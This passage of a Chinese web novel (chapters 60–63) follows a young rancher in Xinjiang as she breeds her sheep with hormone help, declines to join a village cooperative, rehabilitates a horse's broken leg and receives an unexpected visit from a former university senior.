也不知道系统在琢磨什么，过了半天之后它突然道，“我可以免费借给你。” 姚新泉震惊！ 虽然她从没觉得系统是个坏的，但是它也不像是做慈善的啊，为什么突然要来帮自己？ “你确定？” 系统有些不耐烦了，“你就说你要不要吧？”哼，它还不想租呢！ “要！为什么不要！” 第60章 姚新泉不想去追究系统的来历,既然系统愿意帮助她自然欣然接受。 “你可真是帮了我的大忙了！”姚新泉很是感慨，系统心里也高兴了几分。 她赶忙去了羊圈里将每一只母羊拉过来使用了一下金手指确认母羊是否有配种成功，把检查完确认会怀的分了一批,检查完没有迹象的分一批,大半天过去之后确认500只母羊中可能怀孕的有126只,剩下374只里面有228只是没有发情迹象的,所以这228只羊得打激素刺激一下,剩下有发情迹象但还没怀孕的就得安排配种了,母羊的发情时间差不多也就24-48小时，不能耽搁。 为了时间不错开，今天就得联系好艾力，让他明天一大早就来打针刺激发情！ 一般激素刺激之后2-3天内就能发情,这样一来已经怀了的那批会稍微早一点,但是整体的分娩时间差不多能控制在半个月内,她还能接受。 姚新泉深深吐出一口气，太难了，真的太难了！ 艾力接到她的电话时还愣了一下,“你不是先刺激它们吗？怎么这就要打针了？” 它们没有全受刺激,我倒是受了不小的刺激啊！ 姚新泉叹气但也没多解释，只是交代了需要打针的数量后便挂了电话。 第二天艾力过来后还想问什么姚新泉只是摆了摆手,她现在很庆幸艾力没注意到家里有公羊,只是知道她有这个打算,不然根本没办法解释她是怎么确定那群羊已经怀孕还被单独分出去了！ 她的目光落在那群公羊的方向,眼神中带着怨念，虽然你们是羊，但你们怎么就不能克制一下自己的生理冲动呢？ “新泉，就这些要打针吗？别的不用？”看着圈里明显没到500只的数量艾力有些疑惑。 “对,其他都发情了”，她含糊道。 艾力挑了挑眉，“那你这效果还挺好的啊，也就一小半没有发情，那这样，咱俩一个抓一个打，这样快一点！” 姚新泉力气大，又是自家羊很熟悉，所以由她来抓。其实要想方便省时应该把马合木提江夫妇叫上来的，但是他们对自家羊太熟悉了，不像艾力那么好糊弄，所以姚新泉想了想还是算了。 艾力用生理盐水稀释了冻干粉后，抽取了液体进行颈部注射，还让她也尝试了几次。 “你家这是初产的小羊，剂量可以稍微少一点点，不过说起来你懂得还真挺多的啊，还知道给母羊打PMSG，我们都是才学回来没多久呢！”艾力笑着调侃她，姚新泉尴尬，她现在就怕人夸她。 “不过你也得注意点，单独使用PMSG虽然成本低一些但是有可能部分母羊对这个没有反应，也有的母羊会发生延迟排卵或者不排卵。不少地方会配合PMSG使用前列腺素或者是孕酮栓，当然了这样成本也就高了。” 姚新泉点头，她也是出于成本考虑才没有使用的。 “行了，你之后几天做好检测，一般打完后两三天内就有反应了，有反应之后你就可以安排公羊进行配种了，公羊找好了吗？” 姚新泉点了点头，“找了”，上次平安运回来的时候因为分开隔离的所以艾力没看到。 “行，那我先回去了，你自己注意观察，有什么事情你再找我”，说完他便离开了，药钱跟出诊费提前给过了。 看着羊圈里的母羊们姚新泉缓缓吐出半口气，剩下半口要等配完才能吐出来。 之后她又去了已经发情的母羊那边，把公羊也放进来完成了配种。 随便对付了口饭又把自己一身的牲畜味儿洗掉之后姚新泉躺在床上沉沉地睡去了，她可太难了啊！ 第二天醒来除了常规喂养牲畜、照顾平安他们之外姚新泉还得调整一下母牛的饲料。 母牛怀孕至今差不多7个月的，已经到了妊娠后期，小牛犊70%的体重都是在这个阶段增长的，所以从现在开始要给母牛增加营养。 能量饲料跟蛋白质饲料得增加，钙磷也得调控。 之前妊娠中期的时候饲料里钙磷的含量都得增加，还得补充些铜、锌、碘元素，这样能预防蹄病以及胎儿畸形。 到了妊娠后期的话就得开始换低钙饲料了，这样才能预防产后低血钙，到了生产后又得立马恢复高钙补充。 还得再补充些维生素，也能预防牛犊体弱或者胎衣滞留在体内。 还得逐步减少一些高纤维的粗料，增加易消化的饲料等等。 姚新泉厚厚的笔记本已经换了一本了，除了怀孕母牛的饲养，包括分娩后如何照顾母牛跟小牛她都做了许多的笔记。 从系统给她开课开始，她除非真忙到半夜，就像昨天晚上盯着公羊配种盯到半夜之外（姚新泉感觉自己怪变态的），基本每天都学习到凌晨1点左右，忙得不得了。 她把家里最大的一口锅翻了出来按照书上说的开始给牛煮粥，麸皮粥。 搅拌的过程中她看着锅里那锅糊糊直叹气，“怎么没见别人给牛煮粥啊？”系统知道她只是随口抱怨懒得理她。 因为她是在院子里煮粥的，麸皮粥煮开了也有一股特别的香气，这不就把皮皮勾来了！ 她回个头的功夫皮皮就伸着脖子想去锅里喝粥，吓得姚新泉上去就是一巴掌。 “你疯了是吧？舌头给你烫掉！” 皮皮希律律叫了几声总是趁她不注意就想偷吃，气得姚新泉头大。她把皮皮跟其他几个小家伙的饭盆都拿了过来，每个给舀了一勺子，免得一个个都那么好奇，不过除了皮皮之外别的小家伙都不乐意吃，莱尼连闻都懒得闻。 这下皮皮就更高兴了，把他们每个碗里的粥都舔干净，傻了吧唧的。 平安食欲还行她就没给平安喂，他腿伤姚新泉也是专门给配了料的，暂时不去给他做调整了。 这天马合木提江用村里小卖部的电话给她打了个电话，听到他的来意后姚新泉有些迟疑，加入合作社？ 怕姚新泉误会他赶忙解释，“没有说你一定参加，只是村里准备下午开会，我想着你也可以去听一听，如果好的话就加入，不好的话就当凑热闹。” 姚新泉嗯了一声表示自己会去的，又说了两句便挂了电话。 姚新泉的户籍是在村里的，她家能承包这么一片牧场很大的原因也是因为她们就是本地人，之前村里还有她家一片宅基地呢！ 她之前其实已经隐隐听说村里有这个意思了，但是她没觉得自己这 个牧场会被包含其中。 姚新泉收拾收拾之后便下山直直去了村委会，哈拉苏的村委会不大，加起来总共就三间平房，一间是办公室，一间是杂物间还有一间是会议室，姚新泉跟马合木提江会和后便去了会议室。 新省从八十年代开始就一直在鼓励牧民定居，马合木提江家虽然是牧民出身，但是他家没有牲畜，后来虽然搞家庭联产承包分田到户的时候他家也分到了地，但是从来就没种过地的人，你难道指望人家能丰收吗？ 他家也尝试过，但是后来发现真的吃不了这碗饭，所以最终还是跟着姚家干的，家里的地就承包给旁边邻居了。 “我听说如果自愿入社的话可以将土地什么入股给合作社，到时候同意拿分红，我家的地都是一年给一次租金的，要是合作社靠谱的话租给村里也行。” 姚新泉点了点头，她也没说什么，只是静静地等待会议开始。 村长跟书记没一会儿就到了，见人来的差不多之后他拍了拍手示意大家安静，“多的话我也不说了，我来讲一下今天让大家来的目的”，村长叶尔江站了起来。 “上面现在鼓励咱们基层去成立农村合作经济组织，也就是合作社，将种植、养殖资源整合，发展特色产业，带领大家脱贫致富。” 书记赵明看了他一眼后也站起身来，“我也跟大家讲一下这加入合作社的优势，如今咱们新省正在推行农牧业改革，咱们如果以合作社为单位去经营，更容易获得一些政府的补贴跟技术指导方面的支持，像是咱们由合作社出面大规模去采购饲料、种子也能降低成本。销售的事情也不用你们再去愁怎么找老板了，由合作社出面去谈。” 接下来他将加入合作社的好处大谈特谈，姚新泉只是垂着眼睛没说话，好处确实有不少，加入合作社之后社员对抗风险的能力肯定要比一个小家庭要强得多！ 像是这两年市场上的羊毛价格波动就已经很厉害了，很大一部分是因为化纤产品的冲击。 羊毛制品确实有它的好处，但随着工业的发展，化纤产品的价格只会越来越低，羊毛价格居高不下，市场上确实有羊毛的稳定客户，但是也有很大一部分人没有必须要选择羊毛制品的理由啊！ 供大于需的时候羊毛价格自然上不去！ 这种情况小规模养殖户或者说散户又怎么找老板，怎么卖上价呢？ 如果是以合作社出面去谈甚至以几个合作社的名义呢？ 另外成立合作社之后可以进行专业化分工，提升效率的同时还能解决个体养殖或者种植劳动力不足的问题，确实有很多的好处。 不过姚新泉并不怎么动心。 60-70 第61章 凡事都有利弊两面,对于姚新泉来说，她觉得弊端更多。 比方说经营自主权受限，如果合作社内部的经营人员管理不善的话可能还会出现各种矛盾。 不是姚新泉瞧不上他们,主要是如果这个合作社的管理人员就是村委会的工作人员的话,她确实不太认为一群从没有做过生意的人能够领导另一群没做过生意的人经营好这个合作社,慢慢摸索尝试着来这种就另说。 如果他们决策失误或者有别的心思,自己家里才租赁下来的30年的草场遭到了破坏,就算将来想要退出也麻烦。 所以对于姚新泉来说一家目前看起来一点也不成熟的合作社并没有吸引她的地方。 再说了合作社能提供给她的条件她未必期待,比方说技术。一方面她有系统的金手指，自己也能够联系到外界买到许多书，学习到许多知识，如果有真的难以解决的问题还能辗转联系上农大的人,她在技术方面并不会有太多为难的地方。 至于销售渠道什么的,姚新泉本质上不太信奉酒香不怕巷子深,但是她也很坚信必须得提高品质才能保证客户。 以家里羊毛目前的品质来说，吾斯曼就足够吃下了。羊肉的话马强那边可以销售，秋天乌恰会也是一个渠道,她很看重中亚市场。 繁育的话,她已经在自己尝试了，想引进特殊品种的话合作社未必能帮得上自己,想引进一般品种也不必通过合作社。 所以姚新泉来之前就已经做好了决定,她不会加入这个合作社。 不加入归不加入,这不代表她要跟这些人产生什么矛盾啊！ 新省那是出了名的地广人稀,村里想扩大合作社的规模大可不必盯着自家牧场，完全可以将视线转向开荒，或者还没被承包下来的地方。 另外就是到底地是村里的地，要是真闹到不可开交的话,万一人家咬死了要收回，支付违约金也要收回怎么办？虽然她不觉得会到那一步。但还有续约的问题呢？ 反正总而言之，没必要起矛盾，反而可以合作嘛！ 姚新泉心里下定了主意后人也坦然了许多，引得赵明看了她好几眼。 他们村委会领导班子之前开会讨论过关于姚新泉的事情，没办法不重视，这可是他们村子里最大的一个承包户了，不管要不要把人家拉到合作社里面都得有一个正当理由，不然其他人肯定都会受影响。 如果她不加入，那许多人会觉得她都不加入是不是加入合作社不好，他们也不要加入了！ 但是如果让她加入的话对于他们这个新的合作社来说压力太大了！ 赵明和叶尔江都想得很清楚，人家自己去年干得蛮好的，他们插手之后未必能干得更好，过度关注那么大的区域反而可能会导致他们无暇顾及其他地块儿，他们不能一上来就给自己上难度啊！ 等两位领导说完话之后众人畅所欲言，有人便问姚新泉的态度，姚新泉最开始只是推脱自己年轻，让别人先说，但后来被许多人架了起来，姚新泉暗暗叹了口气还是表达了自己的观点。 “首先非常感谢咱们村领导还有上面的领导为了咱们老百姓考虑想要成立这个合作社，对于我个人而言其实能和大家共同发展进步是很高兴的。” “但是从我接手这个牧场到现在，我在牧场上下了很多心血，也做了不少改变，还决定引入了不少牲畜，包括国外品种，目前已经在回国的路上了，不久后我会在牧场上进行新品种的繁育工作。” “我确实是学习了一些知识，背后也有一些长辈给与我各方面的支持，但是即便如此，我也不敢保证我的繁育方向一定是正确的或者我一定能够繁育出品质很高的肉羊或者产毛的羊，但是我愿意尝试，我也愿意自愿承担风险。” “但是我摸着良心说一方面是想等我的繁育有结果了之后再说，另一方面我也不想将我自己的风险转嫁到大家身上。” 听到这里赵明和叶尔江两人对视一眼后都松了口气，差点以为她要加入了呢！ 众人也点头，他们养了一辈子本地的羊，本地的羊有什么不好的还要去引进外国的羊？ “所以我考虑了一下之后还是决定暂时先不加入咱们合作社了，未来有机会的时候再合作。” 叶尔江两人都笑着接过话，“那咱们就等着看小姚牧场出产的牲畜了！” 姚新泉笑着点了点头。 总的来说今天的会议效果还不错，虽然没有立马定下来，但是姚新泉觉得不少人其实都挺有意向的。 加入合作社可以获得租金、劳务费以及分红，听起来比他们自己种地靠老天吃饭好像要靠谱一些。 姚新泉跟着大部队走了，她最开始是想着要不要给他们推销一个新产品来着，但又觉得合作社刚成立他们未必肯担这么大的风险，另外销售市场可能也有点问题。 之前乔为民不知道是出于补偿心理还是怎么样给了她一个联系电话，说她如果考虑种洋姜的话可以联系对方。 姚新泉以前从来没接触过洋姜，还是后来出去上学之后吃过腌制的洋姜，觉得口感蛮特别还挺好吃的。 这次乔为民提了这个作物之后姚新泉去过县里一次，可惜没买到太多相关书籍，最后没办法她开始薅羊毛， 薅系统的羊毛。 她发现了，其实系统对她的一些“得寸进尺”行为很是包容，比方说当她真的很迫切地了解洋姜的种植难度、成本、收益以及加工后的产品时，系统真的告诉她了。 洋姜又叫菊芋或者鬼子姜，是一种经济效益还挺高的作物。洋姜含有天然菊粉，可以延缓葡萄糖的吸收，改善胰岛素的敏感性，很是适合糖尿病患者以及血糖偏高人士食用。而且这东西还能促进肠道健康，保护心血管以及多种潜在益处。 另外这东西耐旱耐贫瘠，管理成本低，亩产却很高，亩产最高能到2-3吨。 深加工之后可以提取做保健品也可以发酵做乙醇、腌制等等，不过姚新泉盯上它更多的是作为饲料使用。 洋姜煮熟或者发酵之后的适口性很好，茎叶部分还可以直接青贮或者晒干后添加使用，块茎部分可以作为能量饲料。 如今国家正在推广“秸秆养畜”等政策，鼓励不要使用粮食作物去开发作为饲料，上面也是因为这个才考虑到洋姜的。 这东西作为饲料也不是咱们首先发现的，五六十年代的时候国外就有将洋姜作为饲料使用了。 姚新泉觉得自己完全可以在牧场上种一些这个，她是有打算在自家牧场上种植一些东西，如果要种那肯定是考虑耐旱、不需要精耕细作、不需要太去照料的作物。 本身这片区域是作为牧场被承包下来的，如果只是种植一些青贮饲料倒也罢了，如果大规模种植一些别的作物，那就属于改变土地性质了，可能会有麻烦的。 另外她的主要精力还是放在了牧场上，今年的许多事情都会耗费她大量的精力和时间，她根本没有心力再去种植一些别的了，所以洋姜就很合适。 不过她自己种植一些倒也罢了，但如果她是推广给合作社的话，肯定还是需要考虑销售市场的。 粮食作物是有稳定的销售市场，洋姜可未必。 她可以自产自销，但如果合作社的人按照自己的推荐种了，到时候卖不出去她心里肯定难受，总不能到时候她来兜底吧？ 所以这个再看看吧！ 这几天姚新泉的工作重点还是放在羊群上，不知道是自家羊的身体素质好还是对这个激素的适应性强，所有未发情的母羊都在未来两天内陆续发情了。 姚新泉赶忙安排公羊进去配种，等全部母羊全部配好之后姚新泉赶忙给公羊们补充营养，太不容易了，平均下来一只公羊配了二十只母羊呢！ 姚新泉赶忙给公羊多添加了些玉米、豆粕、麸皮跟苜蓿草，自家为了避免近亲繁殖，每只公羊配的母羊数量并不多，所以不用特殊处理。 如果是那种配种强度大或者提取用于人工授精的公羊，那可能还需要额外补充牛奶、鸡蛋等动物性蛋白的。 毕竟是租来的公羊，要是还回去的时候瘦了姚新泉就不好意思了。 姚新泉喂好牛羊后在客厅里做未来一段时间的工作安排，母羊在配种前已经提前打过疫苗了，牛打不了，引进的湖羊、杜泊羊等安顿下来之后得打疫苗，马也得打。 雪已经在慢慢化了，温度逐渐会高起来，因为家里牲畜基本都怀孕了，所以暂时不考虑出去放牧。 而且在草刚冒牙的时候，羊上去两口把人家根给撅了，对草场也不好，所以短期内还是先圈养，等草场上的雪化完再说。 等雪化完之后还得重新划分区域，得安栅栏把牲畜跟家禽隔开。 引进伊犁鹅这些家禽的事情也得抓紧了，都是本地的，应该比较好找。本地也有草原绿头鸭，这个也不麻烦，但是藏鸡的话如果不好找那也可以再等等，毕竟今年有珍珠鸡，这个也可以问一下赵强那边怎么样了！ 还有堆肥，家里的估计不够，草场长势不好的地方都得安排一下。 …… 姚新泉写得头晕，哀嚎一声把笔扔到一边倒在了沙发上，趴在一旁的莱尼探头看了一眼又继续睡了。 莱尼现在已经不穿外套了，但她还是不爱出门，别的小家伙天天在外头踩的一身泥泞，姚新泉现在都不让他们进客厅，就莱尼跟小金两个被准许进入。 泥猴子止步！ 第62章 “你说平安的石膏已经取了？”杜若林有些惊讶,他算了下时间，“我记得到现在也就5周左右，你确定已经恢复好了,不会因为现在拆石膏对它造成二次伤害吗？” 姚新泉在电话那头笑了笑,“我很确定。” 她肯定会等符合拆除的条件了才会拆除的。 一般马腿轻微骨折的话大概是需要打石膏4-6周就可以拆除,正常情况应该能恢复的都恢复的差不多了。 如果想要确定,那就需要通过照X光,确定平安骨折那条腿上的骨痂有没有愈合,骨折线是清晰还是模糊。 但别说他们县了，市里都不知道哪个单位有机器可以给马用，所以没办法这个只能凭经验。 平安的伤腿轻微抬起的时候是没有肿胀、发热的，也不疼。而且平安自己已经有一点想要这条腿也去负重的想法了,之前还不好的时候他也会将重量都压在那三条腿上,但现在即便姚新泉告诫过他,可他还是已经在逐步用力了。 他也有舔舐伤腿的行为，表明他腿上的痛感基本已经消除了。 “我带他短暂地走过几步，看不出什么不好的情况,多重考虑之下我又等了三天左右,等石膏打满了五周我就给他拆了。” “怎么样，恢复得怎么样？”杜若林很是激动,很是迫切地希望听到好消息。 姚新泉笑道,“挺好的,石膏拆除之后摸不到明显的骨折痕迹,我牵他出去遛了五分钟左右就回来了，目前算是进入了复健阶段，除了基本的护理，我还给他配了桃红四物汤、贴了自制膏药,持续上1-2周看看情况，如果好的话那再进行下一步的复健。” 杜若林不知道什么桃红四物汤什么膏药的，但是他看出来了，后续的治疗是姚新泉自己主导的，而且听出来了她很有信心。 姚新泉自然是很有信心的，这一个多月里面她把关于骨伤科的相关课程听了两遍，还有系统配套的习题以及模拟演示，当姚新泉知道这个的时候人都傻了。 系统会模拟出她在现实世界里遇到的患者或者按她的要求制作出同样伤情或病情的牲畜，由姚新泉去提出治疗方案，系统照做后会在短期内模拟出该治疗方案的治疗效果。 她目前的这套治疗方案就是在系统模拟了平安的身体条件、伤情、恢复情况以及目前的温度、湿度等等多方面之后制作出的模型，姚新泉给出了治疗方案，在系统模拟里平安的模型是痊愈了的。 所以放在现世中她只要足够谨慎将自己所学全部释放出来，她相信会有一个好结果的。 “治疗方案以及病历我会记录完善的，到时候你那边如果有需要的话我也可以给你邮寄过去，你也可以让你们那边的兽医尝试一些。” 这东西她也会给艾力兽医一份的，不过她没办法保证疗效，毕竟系统里平安模型能痊愈还有一个因素被考虑在内，那就是金手指自带的治愈术。 如果没有治愈术，这套方案能治疗到什么程度姚新泉也不好说了。 杜若林赶忙道谢，两人又聊了几句后 才挂了电话。他放下电话就去了后勤，军马所是归属后勤管理的。 后勤主任王保国见到他后眉头都皱了起来，“杜连长，你不会又来说那位牧民的事情吧？这马能不能恢复都得打个问号呢，你现在跟我提让咱们以后将他那边作为军马定点的一个治疗机构，你觉得合适吗？你觉得我能同意吗？那不知道的人还以为那牧民是我的什么亲戚，我非让人搭上咱们部队不可呢！” 王保国满心的无语，这位杜连长算得上是年轻有为，家里虽说在部队没什么关系，但是也绝对不会给他拖后腿，他未来前途远大着呢！ 之前两人没怎么好好接触过，可这次一接触他就发现了，这人认死理儿！他认定的事情，哪怕自己算是他领导，自己拒绝了他还是找上门来！ “王主任，她家的马已经拆了石膏了，恢复情况不错，我相信再过几个月一定能恢复如初的！既然有这个机会咱们为什么不能尝试呢？”他又把姚新泉刚才说的话复述了一边，王保国听罢无奈道，“你不是讲她说会把病历跟诊疗记录给你寄过来吗？到时候看看再说吧！” 杜若林没再缠着王保国，虽然他不喜欢王保国的做事方式，但是在这个事情上他说的没错，自己确实需要等到姚新泉那边能拿出成绩了才好说话。 自己相信她不代表其他人能相信她！ 姚新泉撂下电话后就没再管这件事了，今天还有个更重要的事情要办，湖羊中午就能到市里！ 也是没办法，这一路又是火车又是汽车中转的，还没有直达，再加上又有许多检疫手续要办，耗费了许久，终于到了市里。 这么长的时间，杜泊羊都从澳洲落地了，已经隔离小半个月，等送过来估计又得一个月之后，姚新泉等得都不着急了，毕竟急也没用。 姚新泉骑着摩托车去了车站坐上最早一班汽车去市里，等到了那边之后她没去火车站，而是去了一家新省健康畜牧公司。 到了后她径直去了对方经理办公室，赵文兴见到她后跟她握了下手，笑道，“我哥跟我说了，公司的车没办法给你免费用，毕竟不是我的，这个租金你得正常付。” 赵文兴是赵强的堂弟，这家新省健康畜牧公司的前身是本市的肉类联合加工厂，后来改制重组为了民营企业，主要还是经营各种冷鲜肉，目前他们市的市场上鲜肉供应占份额比较大的就是这家。 姚新泉倒也不是找不到别的卡车，市里多的不说，两三辆卡车还是能找到的，不过没等姚新泉去找，赵强听说这个事情后就赶忙帮她联系了赵文兴这边。 赵强自己觉得怪尴尬的，人家就是为了引进湖羊才加入的协会，结果钱交了，协会也入了，自己却什么忙都没帮上，搞的自己跟诈骗一样！ 而且他可是听说了，湖州那家种羊场虽然还是破产了，但是接手的不是从前那家公司，是另外一家正规中标后接手的公司。 湖州他们那边协会的会长如今也在接受调查，还有小道消息讲说是政府部门里面也有人被以损害国家资产为由撤下去了，也不知道只是没了政治生涯还是未来都找到饭辙了。 他们省协的会长还专门打电话问了赵强，就问他知不知道中间有什么问题，出了什么事儿？ 不然哪那么巧啊？这边一找，那边不搭茬立马就出事？ 可赵强也只是猜测，就把那边敷衍过去了，但是在他心里却把姚新泉的地位拔高了不少，他也觉得这事儿跟姚新泉脱不了干系。 所以他也算是卖个好帮她牵线。 姚新泉是不太清楚这些的，师月江那边完全没有跟她透露过中间有这么多事情，不过她肯定是记师月江的情。 两辆卡车都是五吨的载重，在火车站装上羊后姚新泉坐在副驾驶上给两人指路，下午的时候才把羊拉回牧场。 也是幸好家里当时羊圈、牛圈这些盖了一长排，如今也有地方给它们隔离，姚新泉把湖羊放到新的消毒过的羊圈里终于松了口气。 300只，没有减员啊！ 真好！ 她站在羊圈外看着这群毛团子，可能是经历了太久旅程的原因，湖羊们都看起来不太有精神，蔫搭搭的，得让它们好好适应一下，尽量不要应激。还得补充一下营养，瘦巴巴的，不说比已经被她送走的美利奴羊公羊，就说比起家里的细毛羊都要小一圈。 单从外表看的话，湖羊基本都是白色的，只有少数几只身上有黑斑。 毛也短又很稀疏，非常不耐寒，北疆这个天气虽然已经渐渐暖和起来了，但是湖羊这边晚上肯定还是得烧炉子的。 别这么一路上都没什么事儿，好不容易落地了再给她冻死几只，那姚新泉是真的会吐血。 她随手捏了捏胆子最大跑到她身边的一只小湖羊的垂下来的大耳朵，这也是它们外表上的显著特征。 “行了，你们先好好待着，我去给你们配点儿料！” 湖羊在南方主要饲料是青草，到了北疆之后肯定会换成干草的，这个没办法，只能让它们逐步适应，一点一点过渡，免得它们肠胃受不了。 姚新泉看着饲料心里计划着前三天还是以干麦草为主，虽然家里干麦草已经不多了，去年种的晚，也就割了一茬，这冬麦不是一年生的，今年还能发，到时候再囤一些，或者也可以多种一些。 水的话得给它们喝温水，另外水里还得给它们添加钠、钾跟维B，也就是加食盐、□□以及小苏打，按照一定配比调好，饮用电解质水也能缓解应激反应。 而且因为北疆温度低，除了保暖之外还得增加一些玉米、麸皮以补充能量。 湖羊本身对蛋白质的要求就比一般羊要高，还得添加一定的豆粕。 姚新泉把自己做得笔记放下，按照配比给它们配好了送进去。 等第四天开始再适当喂食粗饲料过渡，这也不只是因为它们刚落地，怕它们不适应本地的环境。 主要后面配种也得保证湖羊身体健康，甚至是适当育肥的。 第63章 袁则瑞下了火车后赶紧把围巾裹好把帽子带上,艰难地把背包跟手提包提上后出去打听了怎么去阿依巴勒县。 他先是坐了一辆敞篷三轮车到了车站，然后买上了去阿依巴勒县的汽车票，等坐上了汽车后这才缓缓松了口气。 这一路可真难啊！ 他看着玻璃窗上的雾气心里很是不平静,心思绪翻涌间他想起了最后一次见姚新泉的时候自己鼓足了勇气问她,等自己在上海安定下来后愿不愿意给自己一个机会。 姚新泉没有拒绝,但也没有答应,他本以为日子久了会有机会的,可谁也没想到那竟然是自己最后一次见到她。 当自己发现联系不上她的时候去了她们部门打听姚新泉的情况,才知道她已经辞职了。 她就那么头也不回地走了，就好像在这个城市里从来没有留下过任何痕迹一样，袁则瑞再也没联系上她。 后来还是他过年去给周老师拜年的时候才知道原来姚新泉家里出了意外，她回乡开牧场去了。 袁则瑞又惊又喜,他问周老师要到了姚新泉的地址,按捺住了自己立马飞到她身边的冲动,安排好身边的事情，请了年假以及一周的事假后来找她了。 袁则瑞想，无论能不能带回她,但至少他想听到一个答复。 而且姚新泉那么优秀的女孩子,不应该被埋没在这些辛苦、重复的劳动中，她应该有不一样的人生。 等他辗转好不容易找到姚新泉家牧场的时候,他站在大门外面鼓足了勇气用力喊,“姚新泉！” 姚新泉！姚新泉！一声一声似乎把她不告而别带给自己的痛苦都喊了出来一样。 今天天气还不错,姚新泉雇了几个人过来给她安栅栏,把牧场分成几块儿。回来拿东西的时候就听到狗狗军团们在围栏那边大叫，她眉心一跳，赶忙往那边跑去。 可到了门口，看到围栏外面站着的那个脸颊冻得通红清瘦的男人时,姚新泉愣了一下，随即满脸惊喜，“学长？你怎么来了” 袁则瑞看着穿着军大衣，手上带着劳保手套，脚上都是泥，很是不修边幅的姚新泉时只觉得心里闷闷得难受，他努力挤出一抹笑意来，“新泉，我从周老师那边得到了你的地址，我想来看看你！” 姚新泉赶忙安抚了一下身边的小动物们后去给他开门，接过他手上的提包后带着人往家里走。 “你这过来也不跟我说一声，路上折腾吧？上海这个时候应该最起码已经十几度了，这边也就刚刚零上，还能适应吗？你捂厚一点别感冒了！” 听着她的叮嘱袁则瑞的视线根本没办法从她身上移开，眼中带着化不开的心疼，“新泉，你，你还好吗？” 姚新泉脸上的笑意一顿，“我挺好的，真的，无论是心情上、身体上还是事业上都很好，你不用担心我的！” 姚新泉心里有点无奈，她对袁则瑞确实很有好感，但真的只是学长和学妹之间的感情。 袁则瑞是她的直系学长，大学入学当天的迎新就是袁则瑞接她的，后来不管是加入社团、参加活动、勤工俭学，乃至后来的毕业论文跟毕业后这份进入外企的工作，他基本上全都在给自己帮忙，姚新泉怎么可能不喜欢他？ 但是喜欢跟喜欢是不一样的，也许如果她一直在上海，未来有可能跟他在一起，但是当自己选择回来后，两人就不会再有任何可能了。 所以当初她不告而别就没想着两人还能再见面，姚新泉是怎么也没想到袁则瑞竟然会追到新省来。 “吃午饭了吗？我估计你是没吃，家里之前冻得饺子因为热起来了也放不住就都吃了，我给你煮碗面吧，还有我昨天卤的牛肉给你放一些，应该也蛮好吃的！” 袁则瑞点头，但他心想，姚新泉家里没有冰箱啊！ 两人往屋里走，狗狗军团们就一直跟在两人身后亦步亦趋的，等进了客厅袁则瑞的目光落在沙发边的莱尼身上时吓了一跳，赶紧拉着姚新泉往后退，“豹，豹子！” 见他脸都吓白了，姚新泉赶忙拍了拍他的手，“你别怕，这是我朋友暂时寄养在我这里了，一直是由人类饲养，没什么攻击性的，你别怕！” 袁则瑞咽了下口水，“豹子也能私人喂养吗？这不是野生动物吗？” 姚新泉笑着给他倒了杯热水，“我朋友想办法弄了张许可证，小豹子叫莱尼，因为特殊情况被允许私人饲养”，她不想讲太多关于别人的事情便敷衍过去。 见袁则瑞不敢往沙发上坐，姚新泉便从餐桌边上给他拿过来一个凳子让他先坐着，自己则去厨房煮面。 袁则瑞小心打量着屋内的布置，突然觉得不太对，转头就发现那头叫莱尼的小豹子不知道从什么时候开始转过身来定定地看着他。 琥珀色的瞳孔一动不动，身体线条绷紧，只有耳朵会随着姚新泉在厨房的动静而有轻微的转动，这种转动反而给袁则瑞带来了更大的压迫感。 袁则瑞坐不住了，他握紧手中的杯子在莱尼的目光中缓缓起身想往后退。 他眼见莱尼的后腿肌肉似乎在渐渐绷紧，她的瞳孔似乎也在逐渐放大，嘴里的犬齿也若隐若现，袁则瑞额头上的汗珠子控制不住地往下落。 他想撒腿就跑，但整个人像是被冻结在原地一样，他无法移动甚至无法发出声音，就在莱尼扑过来的一瞬间，就在袁则瑞觉得自己马上要死在莱尼口中的瞬间，旁边伸过来一条胳膊在半空中搂住了莱尼的腰，将她薅住抱在了怀中。 “怎么这么不老实还吓唬客人？”姚新泉没好气地拍了下莱尼的屁股，莱尼哼哼两声埋头在她的怀里。 姚新泉无奈地朝袁则瑞笑了笑，“你先稍等我一会儿，我把她送到旁边屋子去啊！” 她抱着莱尼去了隔壁，心里觉得好笑，“你个小崽子别人来的时候也没见你吓唬人啊？你今天干嘛跟别人过不去？” 莱尼的目光移向别处就是不看她，姚新泉笑得不行，臭丫头！ 她把莱尼放到屋子里后又叮嘱了她不许再吓人了这才回了客厅，此时袁则瑞已经从地上爬起来重新坐回了椅子上，但脸色还是泛白。 姚新泉很是抱歉地笑了笑，“学长实在不好意思啊，莱尼就是调皮，她没有恶意的！” 袁则瑞苦笑了一声，“感觉你跟以前不太一样了！” 姚新泉往厨房走去煮面，边走边问，“怎么不一样？” 袁则瑞摇了摇头没说话，但他感觉的出来，姚新泉似乎比以前快乐，也比以前更有生气，他心里对自己这次想要达成的目的打了一个大大的问号，他真的能把姚新泉带走吗？ 姚新泉见他没说话也没理他，把面煮好后端给他自己也盛了一碗，“我前面忙着搭栅栏没来得及回来做饭。” 知道她还有别的事情要忙袁则瑞有点不好意思，“我是不是耽误你时间了？”自己贸然前来还要姚新泉陪自己，想到这里就觉得有点尴尬。 没想到姚新泉笑道，“不会啊，虽然现在这个季节草原上也没什么好看的，但你应该也没见过这些，过会儿我去干活，你在草原上自己转转也行，我让塔塔他们陪你”，说着补充了一句，“就是我家牧羊犬。” 袁则瑞点了点头，可心里却在想，确实是不太一样了，如果是之前，姚新泉绝对不会让自己一个人待着，会陪客的。 姚新泉不知道他心里是怎么想的，她也没觉得哪里不对，不管是种地还是养殖牲畜这个都是有“农时”的，什么时候做什么事情，如果违背了规律，就像她非要在春天给羊配种一样，那就只能多付出一些代价。 像现在外面的雪化得差不多了，虽然牛羊还不能放出来，但是别的准备工作得做好，栅栏要是不安好，到时候鸡鸭鹅放在哪里？跟牲畜一起的话传染了什么病菌怎么办？ 而且就算是散养那也要搭棚子的啊！冬天不提，就算夏天，那棚子也是可以遮阳的，而且产蛋也是最好产在棚子里面的。 总不能说来了客人自家这些事情就不做了吧？ 袁则瑞换上了姚新泉给他找出来的衣服裤子鞋子后跟着姚新泉去了牧场上。他也确实是没好意思自己出去乱转，反而跟在姚新泉身后放栅栏。 姚新泉挖坑，他放栅栏。 本来他想自己挖来着，但现在地下的土许多还都是冻着的不好挖，试了几下后还是姚新泉力气更大，所以只能姚新泉来挖。 “新泉，你跟在上海的时候不太一样了”，袁则瑞喃喃道。 